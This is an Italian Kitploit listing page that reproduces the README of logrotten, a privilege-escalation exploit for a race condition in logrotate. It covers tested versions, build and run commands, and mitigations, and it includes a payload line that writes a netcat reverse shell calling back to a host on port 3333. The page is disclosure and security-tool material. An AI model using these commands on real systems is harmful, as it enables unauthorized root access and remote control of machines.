Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
logrotten — Exploit di race condition su Logrotate che consente l'escalation dei privilegi scrivendo file arbitrari, come payload di reverse shell, nelle directory di sistema. | Kitploit
Strumenti/GitHubGitHub/whotwagner/logrotten
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPost-ExploitPenetration TestingRed TeamingBinary Exploitation
GitHubwhotwagner/logrotten

logrotten

Exploit di race condition su Logrotate che consente l'escalation dei privilegi scrivendo file arbitrari, come payload di reverse shell, nelle directory di sistema.

Vedi Repository
2112638 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

[!WARNING]
Questo repository è stato spostato su https://codeberg.org/whotwagner/logrotten. Visita la nuova posizione per gli ultimi aggiornamenti.

Vincere una condizione di gara in logrotate per elevare i privilegi

Logrotten Logo

Breve descrizione

  • logrotate è soggetto a una condizione di gara dopo la rinomina del file di log.
  • Se logrotate viene eseguito come root, con un'opzione che crea un file (come create, copy, compress, ecc.) e l'utente ha il controllo del percorso del file di log, è possibile abusare di una condizione di gara per scrivere file in QUALSIASI directory.
  • Un attaccante potrebbe elevare i propri privilegi scrivendo reverse-shell in directory come "/etc/bash_completition.d/".

Prerequisito per l'elevazione dei privilegi

  • Logrotate deve essere eseguito come root
  • Il percorso del log deve essere sotto il controllo dell'attaccante
  • Nella configurazione di logrotate deve essere impostata un'opzione che crea file

Versioni testate

  • Debian GNU/Linux 11 (bullseye)
  • Debian GNU/Linux 9.5 (stretch)
  • Amazon Linux 2 AMI (HVM)
  • Ubuntu 18.04.1
  • logrotate 3.8.6
  • logrotate 3.11.0
  • logrotate 3.15.0
  • logrotate 3.18.0

Compilazione

  • gcc -o logrotten logrotten.c

Preparare il payload

root@kitploit:~
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

Eseguire l'exploit

Se l'opzione "create" è impostata in logrotate.cfg:

root@kitploit:~
./logrotten -p ./payloadfile /tmp/log/pwnme.log

Se l'opzione "compress" è impostata in logrotate.cfg:

root@kitploit:~
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

Problemi noti

  • È stato difficile vincere la gara all'interno di un container docker o su un volume lvm2. Questa versione di logrotten migliora l'affidabilità.

Mitigazione

  • assicurarsi che il percorso del log sia di proprietà di root
  • usare l'opzione "su" in logrotate.cfg
  • usare selinux o apparmor

Autore

  • Wolfgang Hotwagner

Riferimenti

  • https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
  • https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
  • https://github.com/whotwagner/logrotten
  • https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
  • https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd
Scarica lo strumento